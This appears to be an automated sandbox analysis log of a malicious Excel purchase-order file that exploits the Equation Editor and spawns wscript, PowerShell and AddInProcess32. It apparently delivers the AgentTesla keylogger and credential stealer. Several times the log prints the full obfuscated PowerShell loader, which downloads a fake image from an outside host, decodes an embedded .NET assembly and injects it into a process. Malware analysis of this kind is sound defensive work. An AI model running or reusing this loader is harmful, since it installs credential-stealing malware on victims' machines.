Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )" Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00295C7A 6_2_00295C7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00294D7D 6_2_00294D7D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00298F17 6_2_00298F17
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_0029C774 6_2_0029C774
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00298FD9 6_2_00298FD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_002038F0 8_2_002038F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_002088C8 8_2_002088C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00204910 8_2_00204910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0020F4E8 8_2_0020F4E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0020BD08 8_2_0020BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00203C38 8_2_00203C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0020DF4B 8_2_0020DF4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_005B1860 8_2_005B1860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 9_2_002D38F0 9_2_002D38F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 9_2_002D4908 9_2_002D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 9_2_002DF4E0 9_2_002DF4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 9_2_002DBDC8 9_2_002DBDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 9_2_002D3C38 9_2_002D3C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 9_2_00521860 9_2_00521860
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: orden de compra.xlam.xlsx OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Yara signature match
Source: sheet1.xml, type: SAMPLE Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, G39cBQ.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, G39cBQ.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, b1PPCKov2KZ.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, b1PPCKov2KZ.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/8@3/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$orden de compra.xlam.xlsx Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7F8B.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................'.=.'...(.P.....................x..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.0.9.5..............................s....................&....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x.......'..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x.......3..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................E..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Q..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n.......d..........................s...................."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................q..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . ...C.o.m.m.a.n.d.s...S.e.t.V.a.r.i.a.b.l.e.C.o.m.m.a.n.d......s....................>....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: orden de compra.xlam.xlsx ReversingLabs: Detection: 68%
Source: orden de compra.xlam.xlsx Virustotal: Detection: 47%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
